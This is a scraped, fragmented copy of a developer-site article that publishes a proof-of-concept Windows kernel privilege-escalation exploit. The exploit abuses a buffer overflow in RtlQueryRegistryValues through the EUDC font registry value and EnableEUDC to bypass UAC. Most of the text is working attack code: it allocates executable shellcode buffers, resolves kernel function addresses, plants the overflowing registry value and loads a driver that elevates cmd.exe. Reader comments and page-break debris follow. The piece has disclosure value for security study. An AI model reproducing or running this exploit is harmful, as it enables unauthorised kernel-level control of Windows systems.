Beruflich Dokumente
Kultur Dokumente
http://68.233.235.195/kmax/security-uac.aspx.htm
Password
Sign in
Join
Join
Home
Articles
Learning Zones
Features
2
Help!
The Lounge
Search
4.56 / 5, 7 votes
Introduction
I would like to present an exploit of an ambiguous parameter in Windows kernel API that leads to buffer overflows under nearly every version of Microsoft Windows, especially one that can be used as a backdoor to Windows user privilege system as well as User Access Control. The starring API would be RtlQueryRegistryValues, it meant to be used to query multiple registry values by a query table, given the EntryContext field as output buffer. There is a problem that this field can be either treated as a UNICODE_STRING structure or a ULONG buffer length followed by the actual buffer, and this is determined by the type of the registry key being queried.
Announcements
.text:BF81BA91 .text:BF81BA92 .text:BF81BA93 .text:BF81BA98 .text:BF81BA99 .text:BF81BA9C .text:BF81BA9D .text:BF81BAA3 .text:BF81BAAD .text:BF81BAB7 .text:BF81BABC .text:BF81BAC2 .text:BF81BAC8 .text:BF81BACE .text:BF81BAD4 .text:BF81BADA .text:BF81BAE0 .text:BF81BAE6
push push push push lea push mov mov mov mov mov mov mov mov mov mov call mov
esi ; Environment esi ; Context offset ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A ; QueryTable edi ; Path eax, [ebp+DestinationString] esi ; RelativeTo ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.QueryRoutine, esi ; _ ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.Flags, 24h ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.Name, offset aSystemd ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.EntryContext, eax ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.DefaultType, esi ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.DefaultData, esi ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.DefaultLength, esi dword_BFA198FC, esi dword_BFA19900, esi dword_BFA19904, esi ds:__imp__RtlQueryRegistryValues@20 ; RtlQueryRegistryValues(x,x,x,x,x) [ebp+var_8], eax
GDI32.EnableEUDC -> NtGdiEnableEudc -> GreEnableEUDC -> sub_BF81B3B4 -> sub_BF81BA0B -> RtlQueryRegistryValues (Overflow occurs)
Given this we can design the registry value which will precisely overwrite the return address of the calling function on stack, results in an arbitrary buffer being executed in kernel mode. In my PoC the buffer contains a simple kernel PE loader, which will eventually load a driver that will escalate "cmd.exe process privilege regardless of UAC.
Collapse Collapse
1 of 4
2.12.2010 14:13
http://68.233.235.195/kmax/security-uac.aspx.htm
// Allocate buffer for the driver LPVOID pDrvMem = VirtualAlloc(NULL, sizeof(DrvBuf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(pDrvMem, DrvBuf, sizeof(DrvBuf)); BYTE* pMem; DWORD ExpSize = 0; // shellcode
pMem = (BYTE*)VirtualAlloc(NULL, sizeof(Data), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(pMem, Data, sizeof(Data)); // Copy shellcode *(DWORD*)(RegBuf + 0x1C) = (DWORD)pMem; ExpSize = 0x28; // Point return value to our buffer
The shellcode need some kernel APIs, we need to get their addresses from the running kernel.
Collapse Collapse
// Get the running kernel file name HMODULE hDll = GetModuleHandle(L"ntdll.dll"); pfnZwQuerySystemInformation fnZwQuerySystemInformation = (pfnZwQuerySystemInformation)GetProcAddress(hDll, PSYSTEM_MODULE_INFORMATIONS pModInfo = NULL; ULONG AllocSize = 0; fnZwQuerySystemInformation(SystemModuleInformation, pModInfo, AllocSize, &AllocSize); pModInfo = (PSYSTEM_MODULE_INFORMATIONS)malloc(AllocSize); fnZwQuerySystemInformation(SystemModuleInformation, pModInfo, AllocSize, &AllocSize); HMODULE hKernel = LoadLibraryExA(pModInfo->modinfo[0].ImageName + pModInfo->modinfo[0].ModuleNameOffset, NULL, D //Relocation to the running kernel base DWORD Delta = (DWORD)pModInfo->modinfo[0].Base - (DWORD)hKernel; free(pModInfo); // For Vista, there is a Pool address on the stack which is going to be passed to ExFreePool before the function // so we need a valid pool address to avoid BSOD. if(vi.dwBuildNumber < 7600) { FixDWORD(pMem, sizeof(Data), 0xAAAAAAAA, 0x2C); HANDLE hDummy = CreateSemaphore(NULL, 10, 10, L"Local\\PoC"); PSYSTEM_HANDLE_INFORMATION pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(sizeof(SYSTEM_HANDLE_INFORMATION AllocSize = sizeof(SYSTEM_HANDLE_INFORMATION); fnZwQuerySystemInformation(SystemHandleInformation, pHandleInfo, AllocSize, &AllocSize); pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(pHandleInfo, AllocSize); fnZwQuerySystemInformation(SystemHandleInformation, pHandleInfo, AllocSize, &AllocSize); for(DWORD i = 0; i < pHandleInfo->NumberOfHandles; i++) { if((HANDLE)pHandleInfo->Handles[i].HandleValue == hDummy) { *(DWORD*)(RegBuf + 0x4) = (DWORD)(pHandleInfo->Handles[i].Object) - 0x18; break; } } free(pHandleInfo); } else { FixDWORD(pMem, sizeof(Data), 0xAAAAAAAA, 0x30); } // Now fills the API addresses needed FixDWORD(pMem, sizeof(Data), 0x11111111, FixDWORD(pMem, sizeof(Data), 0x22222222, FixDWORD(pMem, sizeof(Data), 0x33333333, FixDWORD(pMem, sizeof(Data), 0x44444444, FixDWORD(pMem, sizeof(Data), 0x55555555, FixDWORD(pMem, sizeof(Data), 0x66666666, FixDWORD(pMem, sizeof(Data), 0x77777777, FixDWORD(pMem, sizeof(Data), 0x88888888, FreeLibrary(hKernel);
"ExAllocatePoolWithTag") + Delta); "RtlInitAnsiString") + Delta); "RtlAnsiStringToUnicodeString") + Delta) "MmGetSystemRoutineAddress") + Delta); "RtlFreeUnicodeString") + Delta); "memcpy") + Delta); "memset") + Delta); "KeDelayExecutionThread") + Delta);
// Here we tell the shellcode(PE loader) where the driver buffer is. FixDWORD(pMem, sizeof(Data), 0x11223344, sizeof(DrvBuf)); FixDWORD(pMem, sizeof(Data), 0x55667788, (DWORD)pDrvMem);
Finally, we set the registry value and call GDI32.EnableEUDC to fire the exploit.
Collapse Collapse
2 of 4
2.12.2010 14:13
http://68.233.235.195/kmax/security-uac.aspx.htm
UINT codepage = GetACP(); TCHAR tmpstr[256]; _stprintf_s(tmpstr, TEXT("EUDC\\%d"), codepage); // Get current code page HKEY hKey; RegCreateKeyEx(HKEY_CURRENT_USER, tmpstr, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE | DELETE, NULL, &hKey, RegDeleteValue(hKey, TEXT("SystemDefaultEUDCFont")); RegSetValueEx(hKey, TEXT("SystemDefaultEUDCFont"), 0, REG_BINARY, RegBuf, ExpSize); __try { EnableEUDC(TRUE); } __except(1) { } RegDeleteValue(hKey, TEXT("SystemDefaultEUDCFont")); RegCloseKey(hKey);
After running this PoC, just type "whoami" in command prompt to see the escalated user credentials.
Points of Interest
All actions this PoC performs require only user privilege, but result in arbitrary kernel mode code execution due to the ambiguous design of RtlQueryRegistryValues. This design flaw exists in most versions of Windows kernels, yet no patch or documentation is publicly available on this issue.
Additional Information
This PoC may not correctly fix the exploited kernel context and resume execution without BSOD, such as on kernels ealier than 6.1.6000 are not supported, current supported kernels are: Windows Vista/2008 6.1.6000 x32, Windows Vista/2008 6.1.6001 x32, Windows 7 6.2.7600 x32, Windows 7/2008 R2 6.2.7600 x64. Beyond this scope you may contact me for information on how to tune the code to work correctly on your kernel or how the shellcode works, etc. Those contents are beyond the scope of this article and of no importance to the exploit, therefore it is not included.
Contact
Me: nooby@safengine.com
History
Initial release: 2010.11.24
License
This article, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)
China Member
Article Top
S earch Layout
Expand Posts & Replies
Per page
10
U pda te
Can't wait to play with this... Do you tried to send an email to Microsoft about this ?
Sign In View Thread PermaLink
3 of 4
2.12.2010 14:13
http://68.233.235.195/kmax/security-uac.aspx.htm
Re: Nice...
Kevin Drzycimski
3mins ago
4 of 4
2.12.2010 14:13